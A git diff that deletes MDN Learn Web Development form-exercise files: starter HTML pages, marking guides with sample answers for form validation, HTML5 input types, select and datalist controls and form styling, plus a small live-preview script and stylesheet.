-        <meta charset="utf-8" />
-        <title>Form validation: Task 2</title>
-        <style>
-            body {
-                background-color: #fff;
-                color: #333;
-                font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-                padding: 1em;
-                margin: 0;
-            }
-
-            * {
-                box-sizing: border-box;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <h2>Enter your support query</h2>
-            <ul>
-                <li>
-                    <label for="uname">User name:</label>
-                    <input type="text" name="uname" id="uname" required />
-                </li>
-                <li>
-                    <label for="email">Email address:</label>
-                    <input type="text" name="email" id="email" required />
-                </li>
-                <li>
-                    <label for="phone">Phone number:</label>
-                    <input type="text" name="phone" id="phone" required />
-                </li>
-                <li>
-                    <label for="comment">Comment:</label>
-                    <textarea name="comment" id="comment" required> </textarea>
-                </li>
-                <li>
-                    <button>Submit comment</button>
-                </li>
-            </ul>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/tasks/form-validation/form-validation3-download.html b/docs/content/learning-area/html/forms/tasks/form-validation/form-validation3-download.html
deleted file mode 100644
index 8c23f8042f..0000000000
--- a/docs/content/learning-area/html/forms/tasks/form-validation/form-validation3-download.html
+++ /dev/null
@@ -1,31 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8" />
-        <title>Form validation: Task 3</title>
-        <style>
-            body {
-                background-color: #fff;
-                color: #333;
-                font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-                padding: 1em;
-                margin: 0;
-            }
-
-            * {
-                box-sizing: border-box;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <label for="mail">I would like you to provide me with an e-mail address:</label>
-            <input type="email" id="mail" name="mail" />
-            <button>Submit</button>
-        </form>
-    </body>
-    <script>
-        const email = document.getElementById('mail');
-    </script>
-</html>
diff --git a/docs/content/learning-area/html/forms/tasks/form-validation/marking.md b/docs/content/learning-area/html/forms/tasks/form-validation/marking.md
deleted file mode 100644
index 1ef301a545..0000000000
--- a/docs/content/learning-area/html/forms/tasks/form-validation/marking.md
+++ /dev/null
@@ -1,118 +0,0 @@
-# Form validation marking guide
-
-The aim of the tasks is to demonstrate an understanding of the features covered in the [Client-side form validation](https://developer.mozilla.org/en-US/docs/Learn/Forms/Form_validation) lesson in Learn Web Development on MDN.
-
-## Task 1
-
-In this task, we are providing you with a simple support query form, and we want you to add some validation features to it:
-
-1. Make all of the input fields mandatory to complete before the form can be submitted. This is simple — just use the `required` attribute.
-2. Change the type of the "Email address" and "Phone number" fields to make the browser apply some more specific validation suitable for the data being asked for. The `email` and `tel` types are most suitable for these fields.
-3. Give the "User name" field a required length of between 5 and 20 characters, the "Phone number" field a maximum length of 15 characters, and the "Comment" field a maximum length of 200 characters. The first and last of these three take string data, so require the `minlength` and `maxlength` attributes. The second one is slightly more tricky — you'd think a phone number would constitute a numeric field, so would require the `max` attribute, but it is the number of digits in a phone number that matter, not the value of the number. This one requires `maxlength` too.
-
-Try submitting your form — it should refuse to submit until the above constaints are followed, and give suitable error messages. To help, you might want to consider adding some simple CSS to show when a form field is valid or invalid.
-
-The finished markup should look something like this:
-
-```
-<form>
-  <h2>Enter your support query</h2>
-  <ul>
-    <li>
-      <label for="uname">User name:</label>
-      <input type="text" name="uname" id="uname" required minlength="5" maxlength="20">
-    </li>
-    <li>
-      <label for="email">Email address:</label>
-      <input type="email" name="email" id="email" required>
-    </li>
-    <li>
-      <label for="phone">Phone number:</label>
-      <input type="tel" name="phone" id="phone" required maxlength="15">
-    </li>
-    <li>
-      <label for="comment">Comment:</label>
-      <textarea name="comment" id="comment" required maxlength="200"></textarea>
-    </li>
-    <li>
-      <button>Submit comment</button>
-    </li>
-  </ul>
-</form>
-```
-
-## Task 2
-
-Now we want you to take the same form you saw in the previous task (use your previous answer if you want to), and add some more specific pattern validation to the first three fields.
-
-1. All of the user names in our application consist of a single letter, followed by a dot, followed by three or more letters or numbers. All letters should be lowercase. This will work — `pattern="[a-z]{1}.[a-z0-9]{3,}"`.
-2. All of the email addresses for our users consist of one or more letters (lower or upper case) or numbers, followed by "@bigcorp.eu". This will work — `[a-zA-Z0-9]+@bigcorp\.eu`.
-3. Remove the length validation from the phone number field if it is present, and set it so that it accepts 10 digits — either 10 digits in a row, or a pattern of three digits, three digits, then four digits, separated by either spaces, dashes, or dots. The following with work for this — `pattern="[0-9]{10}|[0-9]{3}[-. ][0-9]{3}[-. ][0-9]{4}"` — although bear in mind that it will work if the separators are not all the same (e.g. one dot and two dashes). This is OK for the purposes of this task — you'd be unlikely to get people entering numbers like this anyway, and it would be easy to sanitise the data on the server.
-
-Try submitting your form — it should refuse to submit until the above constaints are followed, and give suitable error messages. To help, you might want to consider adding some simple CSS to show when a form field is valid or invalid.
-
-The finished markup should look something like this:
-
-```
-<form>
-  <h2>Enter your support query</h2>
-  <ul>
-    <li>
-      <label for="uname">User name:</label>
-      <input type="text" name="uname" id="uname" required
-             pattern="[a-z]{1}.[a-z0-9]{3,}">
-    </li>
-    <li>
-      <label for="email">Email address:</label>
-      <input type="text" name="email" id="email" required
-             pattern="[A-z0-9]+@bigcorp.eu">
-    </li>
-    <li>
-      <label for="phone">Phone number:</label>
-      <input type="text" name="phone" id="phone" required
-             pattern="[0-9]{10}|[0-9]{3}[-. ][0-9]{3}[-. ][0-9]{4}">
-    </li>
-    <li>
-      <label for="comment">Comment:</label>
-      <textarea name="comment" id="comment" required>
-      </textarea>
-    </li>
-    <li>
-      <button>Submit comment</button>
-    </li>
-  </ul>
-</form>
-```
-
-## Task 3
-
-In our final task for this set, we are providing you with a similar example to what you saw in the accompanying article — a simple email address entry input. We would like you to use the constraint validation API, plus some form validation attributes, to program some custom error messages.
-
-1. Make the input mandatory to fill in, and give it a minimum length of 10 characters.
-2. Add an event listener that checks whether the inputted value is an email address, and whether it is long enough. If it doesn't look like an email address or is too short, provide the user with appropriate custom error messages.
-
-The finished markup should look something like this:
-
-```
-<form>
-  <label for="mail">I would like you to provide me with an e-mail address:</label>
-  <input type="email" id="mail" name="mail" required minlength="10">
-  <button>Submit</button>
-</form>
-```
-
-And the JavaScript should look something like this:
-
-```
-const email = document.getElementById("mail");
-
-email.addEventListener("input", function (event) {
-  if (email.validity.typeMismatch) {
-    email.setCustomValidity("I am expecting an e-mail address!");
-  } else if(email.validity.tooShort) {
-    email.setCustomValidity("Your e-mail address is too short!!");
-  } else {
-    email.setCustomValidity("");
-  }
-});
-```
diff --git a/docs/content/learning-area/html/forms/tasks/html5-controls/html5-controls-download.html b/docs/content/learning-area/html/forms/tasks/html5-controls/html5-controls-download.html
deleted file mode 100644
index 9eec8cbf5a..0000000000
--- a/docs/content/learning-area/html/forms/tasks/html5-controls/html5-controls-download.html
+++ /dev/null
@@ -1,43 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8" />
-        <title>HTML5 controls: Task 1</title>
-        <style>
-            body {
-                background-color: #fff;
-                color: #333;
-                font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-                padding: 1em;
-                margin: 0;
-            }
-
-            * {
-                box-sizing: border-box;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <h2>Edit your preferences</h2>
-            <ul>
-                <li>
-                    <label for="e-mail">Email</label>
-                </li>
-                <li>
-                    <label for="website">Website</label>
-                </li>
-                <li>
-                    <label for="phone">Phone number</label>
-                </li>
-                <li>
-                    <label for="fave-color">Favorite color</label>
-                </li>
-                <li>
-                    <button>Update preferences</button>
-                </li>
-            </ul>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/tasks/html5-controls/html5-controls.html b/docs/content/learning-area/html/forms/tasks/html5-controls/html5-controls.html
deleted file mode 100644
index 2bd684aaa1..0000000000
--- a/docs/content/learning-area/html/forms/tasks/html5-controls/html5-controls.html
+++ /dev/null
@@ -1,62 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8" />
-        <title>HTML5 controls: Task 1</title>
-        <link rel="stylesheet" href="../styles.css" />
-        <style>
-            body {
-                background-color: #fff;
-                color: #333;
-                font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-                padding: 1em;
-                margin: 0;
-            }
-
-            * {
-                box-sizing: border-box;
-            }
-        </style>
-
-        <style class="editable"></style>
-    </head>
-
-    <body>
-        <section class="preview"></section>
-
-        <textarea class="playable playable-css" style="height: 130px"> </textarea>
-
-        <textarea class="playable playable-html" style="height: 220px">
-<form>
-  <h2>Edit your preferences</h2>
-  <ul>
-    <li>
-      <label for="e-mail">Email</label>
-
-    </li>
-    <li>
-      <label for="website">Website</label>
-
-    </li>
-    <li>
-      <label for="phone">Phone number</label>
-
-    </li>
-    <li>
-      <label for="fave-color">Favorite color</label>
-
-    </li>
-    <li>
-      <button>Update preferences</button>
-    </li>
-  </ul>
-</form>
-    </textarea
-        >
-
-        <div class="playable-buttons">
-            <input id="reset" type="button" value="Reset" />
-        </div>
-    </body>
-    <script src="../playable.js"></script>
-</html>
diff --git a/docs/content/learning-area/html/forms/tasks/html5-controls/html5-controls2-download.html b/docs/content/learning-area/html/forms/tasks/html5-controls/html5-controls2-download.html
deleted file mode 100644
index 4845814925..0000000000
--- a/docs/content/learning-area/html/forms/tasks/html5-controls/html5-controls2-download.html
+++ /dev/null
@@ -1,43 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8" />
-        <title>HTML5 controls: Task 2</title>
-        <style>
-            body {
-                background-color: #fff;
-                color: #333;
-                font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-                padding: 1em;
-                margin: 0;
-            }
-
-            * {
-                box-sizing: border-box;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <ul>
-                <li>
-                    <label for="max-invite">Select maximum number of invitations</label>
-                </li>
-                <li>
-                    <button>Submit</button>
-                </li>
-            </ul>
-        </form>
-        <script>
-            const invite = document.querySelector('#max-invite');
-            const output = document.querySelector('.invite-output');
-
-            output.textContent = invite.value;
-
-            invite.addEventListener('input', function () {
-                output.textContent = invite.value;
-            });
-        </script>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/tasks/html5-controls/html5-controls2.html b/docs/content/learning-area/html/forms/tasks/html5-controls/html5-controls2.html
deleted file mode 100644
index 60955afe5c..0000000000
--- a/docs/content/learning-area/html/forms/tasks/html5-controls/html5-controls2.html
+++ /dev/null
@@ -1,64 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8" />
-        <title>HTML5 controls: Task 2</title>
-        <link rel="stylesheet" href="../styles.css" />
-        <style>
-            body {
-                background-color: #fff;
-                color: #333;
-                font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-                padding: 1em;
-                margin: 0;
-            }
-
-            * {
-                box-sizing: border-box;
-            }
-        </style>
-
-        <style class="editable"></style>
-    </head>
-
-    <body>
-        <section class="preview"></section>
-
-        <textarea class="playable playable-css" style="height: 130px"> </textarea>
-
-        <textarea class="playable playable-html" style="height: 220px">
-<form>
-  <ul>
-    <li>
-      <label for="max-invite">Select maximum number of invitations</label>
-
-    </li>
-    <li>
-      <button>Submit</button>
-    </li>
-  </ul>
-</form>
-    </textarea
-        >
-
-        <div class="playable-buttons">
-            <input id="reset" type="button" value="Reset" />
-        </div>
-    </body>
-
-    <script>
-        function setSliderOutput() {
-            const invite = document.querySelector('#max-invite');
-            const output = document.querySelector('.invite-output');
-
-            output.textContent = invite.value;
-
-            invite.addEventListener('input', function () {
-                output.textContent = invite.value;
-            });
-        }
-
-        setInterval(setSliderOutput, 200);
-    </script>
-    <script src="../playable.js"></script>
-</html>
diff --git a/docs/content/learning-area/html/forms/tasks/html5-controls/marking.md b/docs/content/learning-area/html/forms/tasks/html5-controls/marking.md
deleted file mode 100644
index 0c9003b96a..0000000000
--- a/docs/content/learning-area/html/forms/tasks/html5-controls/marking.md
+++ /dev/null
@@ -1,70 +0,0 @@
-# HTML5 controls marking guide
-
-The aim of the tasks is to demonstrate an understanding of the features covered in the [The HTML5 input types](https://wiki.developer.mozilla.org/en-US/docs/Learn/Forms/HTML5_input_types) lesson in Learn Web Development on MDN.
-
-## Task 1
-
-First let's explore some of the new HTML5 input types.
-
-Create appropriate inputs for a user to update their details for:
-
-1. Email
-2. Website
-3. Phone number
-4. Favourite color
-
-The appropriate input types to use here are `email`, `url`, `tel`, and `color`.
-
-The finished markup should look something like this:
-
-```
-<form>
-  <h2>Edit your preferences</h2>
-  <ul>
-    <li>
-      <label for="e-mail">Email</label>
-      <input type="email" id="e-mail" name="e-mail">
-    </li>
-    <li>
-      <label for="website">Website</label>
-      <input type="url" id="website" name="website">
-    </li>
-    <li>
-      <label for="phone">Phone number</label>
-      <input type="tel" id="phone" name="phone">
-    </li>
-    <li>
-      <label for="fave-color">Favorite color</label>
-      <input type="color" id="fave-color" name="fave-color">
-    </li>
-    <li>
-      <button>Update preferences</button>
-    </li>
-  </ul>
-</form>
-```
-
-## Task 2
-
-Next, we want you to implement a slider control to allow the user to choose a maximum number of people to invite to their party.
-
-1. Implement a basic slider control to go along with the provided label. This requires `<input type="range">`.
-2. Give it a minimum value of 1, maximum value of 30, and initial value of 10. To do this, you should use the `min`, `max`, and `value` attributes.
-3. Create a corresponding output element to put the current value of the slider into. Give it a class of `invite-output`, and semantically associate it with the input. If you do this correctly, the JavaScript included on the page will automatically update the output value when the slider is moved. To achieve this, you need to use an `<output>` element, give it a `class` attribute with value `invite-output`, and give it a `for` attribute with value `max-invite`.
-
-The finished markup should look something like this:
-
-```
-<form>
-  <ul>
-    <li>
-      <label for="max-invite">Select maximum number of invitations</label>
-      <input type="range" id="max-invite" name="max-invite" min="1" max="30" value="10">
-      <output class="invite-output" for="max-invite"></output>
-    </li>
-    <li>
-      <button>Submit</button>
-    </li>
-  </ul>
-</form>
-```
diff --git a/docs/content/learning-area/html/forms/tasks/other-controls/marking.md b/docs/content/learning-area/html/forms/tasks/other-controls/marking.md
deleted file mode 100644
index e4130b8be8..0000000000
--- a/docs/content/learning-area/html/forms/tasks/other-controls/marking.md
+++ /dev/null
@@ -1,106 +0,0 @@
-# Other controls marking guide
-
-The aim of the tasks is to demonstrate an understanding of the features covered in the [Other form controls](https://developer.mozilla.org/en-US/docs/Learn/Forms/Other_form_controls) lesson in Learn Web Development on MDN.
-
-## Task 1
-
-In our first "other controls" assessment, we'll get you to create a multi-line text input.
-
-1. Create a basic multi-line text input. You should use a `<textarea>` element for this.
-2. Associate it semantically with the provided "Comment" label. Use the same value that the `for` attribute already has, for the `id` of the `<textarea>`.
-3. Give the input 35 columns, and 10 rows of space in which to add comments. The `cols` and `rows` attributes are what you need here.
-4. Give the comments a maximum length of 100 characters. This requires use of the `maxlength` attribute.
-
-The finished markup should look something like this:
-
-```
-<form>
-  <h2>Enter your comment</h2>
-  <ul>
-    <li>
-      <label for="name">Name:</label>
-      <input type="text" name="name" id="name">
-    </li>
-    <li>
-      <label for="comment">Comment:</label>
-      <textarea id="comment" name="comment"
-                cols="35" rows="10"
-                maxlength="100">Enter comment here</textarea>
-    </li>
-    <li>
-      <button>Submit comment</button>
-    </li>
-  </ul>
-</form>
-```
-
-## Task 2
-
-Now it's time to have a go at implementing a drop-down select menu, to allow a user to pick their favourite food from the choices provided.
-
-1. Create your basic select box structure. You should use a `<select>` element for this, inside which you should nest an `<option>` element for each choice.
-2. Associate it semantically with the provided "Comment" label. Use the same value that the `for` attribute already has, for the `id` of the `<select>`.
-3. Inside the list, split the choices up into 2 subgroups — "mains" and "snacks". To do this, you should use `<optgroup>` elements inside the main `<select>`, with appropriate `label` attributes.
-
-The finished markup should look something like this:
-
-```
-<form>
-  <ul>
-    <li>
-      <label for="food">Pick your favorite food:</label>
-      <select name="food" id="food">
-        <optgroup label="mains">
-          <option>Salad</option>
-          <option>Curry</option>
-          <option>Pizza</option>
-          <option>Fajitas</option>
-        </optgroup>
-        <optgroup label="snacks">
-          <option>Biscuits</option>
-          <option>Crisps</option>
-          <option>Fruit</option>
-          <option>Breadsticks</option>
-        </optgroup>
-      </select>
-    </li>
-    <li>
-      <button>Submit choice</button>
-    </li>
-  </ul>
-</form>
-```
-
-## Task 3
-
-In our final task of this set, we start with much the same list of food choices. However, this time we want to do things differently:
-
-1. Create a basic text input that is semantically associated with the provided label. This is done as you'd expect — use a simple `<input type="text">` with an `id` that maches the label's `for` value.
-2. Put the food choices into a list that can be associated with a form input. For this, you need to wrap each option in an `<option>` element, and wrap the whole series of them in a `<datalist>` element.
-3. Associate the list with your text input, so that when you type characters, any of the list options that match the character sequence are given in a dropdown list as autocomplete suggestions. To do this, you need to give the `<datalist>` an `id`, and then given the `<input>` a `list` attribute whose value matches the `<datalist>`'s `id`.
-
-The finished markup should look something like this:
-
-```
-<form>
-  <ul>
-    <li>
-      <label for="food">Enter your favorite food:</label>
-      <input type="text" name="food" id="food" list="food-suggest">
-      <datalist id="food-suggest">
-          <option>Salad</option>
-          <option>Curry</option>
-          <option>Pizza</option>
-          <option>Fajitas</option>
-          <option>Biscuits</option>
-          <option>Crisps</option>
-          <option>Fruit</option>
-          <option>Breadsticks</option>
-      </datalist>
-    </li>
-    <li>
-      <button>Submit choice</button>
-    </li>
-  </ul>
-</form>
-```
diff --git a/docs/content/learning-area/html/forms/tasks/other-controls/other-controls-download.html b/docs/content/learning-area/html/forms/tasks/other-controls/other-controls-download.html
deleted file mode 100644
index 57c8461903..0000000000
--- a/docs/content/learning-area/html/forms/tasks/other-controls/other-controls-download.html
+++ /dev/null
@@ -1,39 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8" />
-        <title>Other controls: Task 1</title>
-        <style>
-            body {
-                background-color: #fff;
-                color: #333;
-                font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-                padding: 1em;
-                margin: 0;
-            }
-
-            * {
-                box-sizing: border-box;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <h2>Enter your comment</h2>
-            <ul>
-                <li>
-                    <label for="name">Name:</label>
-                    <input type="text" name="name" id="name" />
-                </li>
-                <li>
-                    <label for="comment">Comment:</label>
-                    <!-- add your input here  -->
-                </li>
-                <li>
-                    <button>Submit comment</button>
-                </li>
-            </ul>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/tasks/other-controls/other-controls.html b/docs/content/learning-area/html/forms/tasks/other-controls/other-controls.html
deleted file mode 100644
index 5536c3bffe..0000000000
--- a/docs/content/learning-area/html/forms/tasks/other-controls/other-controls.html
+++ /dev/null
@@ -1,54 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8" />
-        <title>Other controls: Task 1</title>
-        <link rel="stylesheet" href="../styles.css" />
-        <style>
-            body {
-                background-color: #fff;
-                color: #333;
-                font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-                padding: 1em;
-                margin: 0;
-            }
-
-            * {
-                box-sizing: border-box;
-            }
-        </style>
-
-        <style class="editable"></style>
-    </head>
-
-    <body>
-        <section class="preview"></section>
-
-        <textarea class="playable playable-css" style="height: 130px"> </textarea>
-
-        <textarea class="playable playable-html" style="height: 220px">
-<form>
-  <h2>Enter your comment</h2>
-  <ul>
-    <li>
-      <label for="name">Name:</label>
-      <input type="text" name="name" id="name">
-    </li>
-    <li>
-      <label for="comment">Comment:</label>
-      <!-- add your input here  -->
-    </li>
-    <li>
-      <button>Submit comment</button>
-    </li>
-  </ul>
-</form>
-    </textarea
-        >
-
-        <div class="playable-buttons">
-            <input id="reset" type="button" value="Reset" />
-        </div>
-    </body>
-    <script src="../playable.js"></script>
-</html>
diff --git a/docs/content/learning-area/html/forms/tasks/other-controls/other-controls2-download.html b/docs/content/learning-area/html/forms/tasks/other-controls/other-controls2-download.html
deleted file mode 100644
index 1ca002a2f2..0000000000
--- a/docs/content/learning-area/html/forms/tasks/other-controls/other-controls2-download.html
+++ /dev/null
@@ -1,35 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8" />
-        <title>Other controls: Task 2</title>
-        <style>
-            body {
-                background-color: #fff;
-                color: #333;
-                font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-                padding: 1em;
-                margin: 0;
-            }
-
-            * {
-                box-sizing: border-box;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <ul>
-                <li>
-                    <label for="food">Pick your favorite food:</label>
-
-                    Salad Curry Pizza Fajitas Biscuits Crisps Fruit Breadsticks
-                </li>
-                <li>
-                    <button>Submit choice</button>
-                </li>
-            </ul>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/tasks/other-controls/other-controls2.html b/docs/content/learning-area/html/forms/tasks/other-controls/other-controls2.html
deleted file mode 100644
index 7f0ef1e2ad..0000000000
--- a/docs/content/learning-area/html/forms/tasks/other-controls/other-controls2.html
+++ /dev/null
@@ -1,59 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8" />
-        <title>Other controls: Task 2</title>
-        <link rel="stylesheet" href="../styles.css" />
-        <style>
-            body {
-                background-color: #fff;
-                color: #333;
-                font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-                padding: 1em;
-                margin: 0;
-            }
-
-            * {
-                box-sizing: border-box;
-            }
-        </style>
-
-        <style class="editable"></style>
-    </head>
-
-    <body>
-        <section class="preview"></section>
-
-        <textarea class="playable playable-css" style="height: 130px"> </textarea>
-
-        <textarea class="playable playable-html" style="height: 220px">
-<form>
-  <ul>
-    <li>
-      <label for="food">Pick your favorite food:</label>
-
-          Salad
-          Curry
-          Pizza
-          Fajitas
-
-          Biscuits
-          Crisps
-          Fruit
-          Breadsticks
-
-    </li>
-    <li>
-      <button>Submit choice</button>
-    </li>
-  </ul>
-</form>
-    </textarea
-        >
-
-        <div class="playable-buttons">
-            <input id="reset" type="button" value="Reset" />
-        </div>
-    </body>
-    <script src="../playable.js"></script>
-</html>
diff --git a/docs/content/learning-area/html/forms/tasks/other-controls/other-controls3-download.html b/docs/content/learning-area/html/forms/tasks/other-controls/other-controls3-download.html
deleted file mode 100644
index a8dd1dd1bf..0000000000
--- a/docs/content/learning-area/html/forms/tasks/other-controls/other-controls3-download.html
+++ /dev/null
@@ -1,35 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8" />
-        <title>Other controls: Task 3</title>
-        <style>
-            body {
-                background-color: #fff;
-                color: #333;
-                font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-                padding: 1em;
-                margin: 0;
-            }
-
-            * {
-                box-sizing: border-box;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <ul>
-                <li>
-                    <label for="food">Enter your favorite food:</label>
-
-                    Salad Curry Pizza Fajitas Biscuits Crisps Fruit Breadsticks
-                </li>
-                <li>
-                    <button>Submit choice</button>
-                </li>
-            </ul>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/tasks/other-controls/other-controls3.html b/docs/content/learning-area/html/forms/tasks/other-controls/other-controls3.html
deleted file mode 100644
index 70b6341a9d..0000000000
--- a/docs/content/learning-area/html/forms/tasks/other-controls/other-controls3.html
+++ /dev/null
@@ -1,59 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8" />
-        <title>Other controls: Task 3</title>
-        <link rel="stylesheet" href="../styles.css" />
-        <style>
-            body {
-                background-color: #fff;
-                color: #333;
-                font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-                padding: 1em;
-                margin: 0;
-            }
-
-            * {
-                box-sizing: border-box;
-            }
-        </style>
-
-        <style class="editable"></style>
-    </head>
-
-    <body>
-        <section class="preview"></section>
-
-        <textarea class="playable playable-css" style="height: 130px"> </textarea>
-
-        <textarea class="playable playable-html" style="height: 220px">
-<form>
-  <ul>
-    <li>
-      <label for="food">Enter your favorite food:</label>
-
-
-          Salad
-          Curry
-          Pizza
-          Fajitas
-          Biscuits
-          Crisps
-          Fruit
-          Breadsticks
-
-    </li>
-    <li>
-      <button>Submit choice</button>
-    </li>
-  </ul>
-</form>
-    </textarea
-        >
-
-        <div class="playable-buttons">
-            <input id="reset" type="button" value="Reset" />
-        </div>
-    </body>
-    <script src="../playable.js"></script>
-</html>
diff --git a/docs/content/learning-area/html/forms/tasks/playable.js b/docs/content/learning-area/html/forms/tasks/playable.js
deleted file mode 100644
index b141abfb49..0000000000
--- a/docs/content/learning-area/html/forms/tasks/playable.js
+++ /dev/null
@@ -1,19 +0,0 @@
-var section = document.querySelector('section');
-var editable = document.querySelector('.editable');
-var textareaHTML = document.querySelector('.playable-html');
-var textareaCSS = document.querySelector('.playable-css');
-var reset = document.getElementById('reset');
-var htmlCode = textareaHTML.value;
-var cssCode = textareaCSS.value;
-function fillCode() {
-    editable.innerHTML = textareaCSS.value;
-    section.innerHTML = textareaHTML.value;
-}
-reset.addEventListener('click', function () {
-    textareaHTML.value = htmlCode;
-    textareaCSS.value = cssCode;
-    fillCode();
-});
-textareaHTML.addEventListener('input', fillCode);
-textareaCSS.addEventListener('input', fillCode);
-window.addEventListener('load', fillCode);
diff --git a/docs/content/learning-area/html/forms/tasks/styles.css b/docs/content/learning-area/html/forms/tasks/styles.css
deleted file mode 100644
index f36a3ec394..0000000000
--- a/docs/content/learning-area/html/forms/tasks/styles.css
+++ /dev/null
@@ -1,75 +0,0 @@
-/* Some default styling for cookbook examples */
-/*
-rgb(53,43,34)
-rgb(75,70,74)
-rgb(95,97,110)
-rgb(137,151,188)
-rgb(160,178,226)
-*/
-body {
-    background-color: #fff;
-    color: #333;
-    font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-    padding: 0;
-    margin: 0;
-}
-
-h1 {
-    font-size: 2rem;
-    margin: 0;
-}
-
-h2 {
-    font-size: 1.6rem;
-    margin: 0;
-}
-
-p {
-    margin: 0.5em 0;
-}
-
-/* styles for the editor */
-
-.playable {
-    font-family: monospace;
-    display: block;
-    margin-bottom: 10px;
-    background-color: #f4f7f8;
-    border: none;
-    border-left: 6px solid #558abb;
-    color: #4d4e53;
-    width: 90%;
-    max-width: 700px;
-    padding: 10px 10px 0px;
-    font-size: 90%;
-}
-
-.playable-css {
-    height: 80px;
-}
-
-.playable-html {
-    height: 160px;
-}
-
-.playable-buttons {
-    text-align: right;
-    width: 90%;
-    max-width: 700px;
-    padding: 5px 10px 5px 26px;
-    font-size: 100%;
-}
-
-.preview {
-    width: 90%;
-    max-width: 700px;
-    border: 1px solid #4d4e53;
-    border-radius: 2px;
-    padding: 10px 14px 10px 10px;
-    margin-bottom: 10px;
-}
-
-.preview input {
-    display: block;
-    margin: 5px;
-}
diff --git a/docs/content/learning-area/html/forms/tasks/styling-basics/marking.md b/docs/content/learning-area/html/forms/tasks/styling-basics/marking.md
deleted file mode 100644
index 0570372734..0000000000
--- a/docs/content/learning-area/html/forms/tasks/styling-basics/marking.md
+++ /dev/null
@@ -1,79 +0,0 @@
-# Styling basics marking guide
-
-The aim of the tasks is to demonstrate an understanding of the features covered in the [Styling web forms](https://developer.mozilla.org/en-US/docs/Learn/Forms/Styling_web_forms) lesson in Learn Web Development on MDN.
-
-## Task 1
-
-Our basic form styling assessment is fairly free-form, and you have a lot of flexibility over what you end up doing here. But your CSS should aim to fulfill the following requirements:
-
-1. Add some kind of lightweight "reset" to make fonts, padding, margin, and sizing more consistent to begin with.
-2. On top of that, add in some nice, consistent styling for the inputs and button.
-3. Use some kind of layout technique to make the inputs and labels line up neatly. Flexbox or Grid would be ideal for this, or CSS tables if you prefer something a bit more compatible with old browsers.
-
-The finished CSS could look something like this:
-
-```
-* {
-  box-sizing: border-box;
-}
-
-body {
-  background-color: #fff;
-  color: #333;
-  font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-  padding: 1em;
-  margin: 0;
-  width: 400px;
-}
-
-button,
-input,
-select {
-  font-family: inherit;
-  font-size: 100%;
-  padding: 0; margin: 0;
-}
-
-li {
-  display: flex;
-  align-items: center;
-  margin-bottom: 10px;
-}
-
-li:last-of-type {
-  margin-top: 30px;
-}
-
-label {
-  flex: 0 40%;
-  text-align: right;
-  padding-right: 10px;
-}
-
-input, select {
-  flex: auto;
-  height: 2em;
-}
-
-input, select, button {
-  display: block;
-  padding: 5px 10px;
-  border: 1px solid #ccc;
-  border-radius: 3px;
-}
-
-select {
-  padding: 5px;
-}
-
-button {
-  margin: 0 auto;
-  padding: 5px 20px;
-  line-height: 1.5;
-  background: #eee;
-}
-
-button:hover, button:focus {
-  background: #ddd;
-}
-```
diff --git a/docs/content/learning-area/html/forms/tasks/styling-basics/styling-basics-download.html b/docs/content/learning-area/html/forms/tasks/styling-basics/styling-basics-download.html
deleted file mode 100644
index 1da1f2824f..0000000000
--- a/docs/content/learning-area/html/forms/tasks/styling-basics/styling-basics-download.html
+++ /dev/null
@@ -1,53 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8" />
-        <title>Styling basics: Task 1</title>
-        <style>
-            * {
-                box-sizing: border-box;
-            }
-
-            body {
-                background-color: #fff;
-                color: #333;
-                font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-                padding: 1em;
-                margin: 0;
-                width: 500px;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <h2>Edit your preferences</h2>
-            <ul>
-                <li>
-                    <label for="e-mail">Email:</label>
-                    <input type="email" id="e-mail" name="e-mail" />
-                </li>
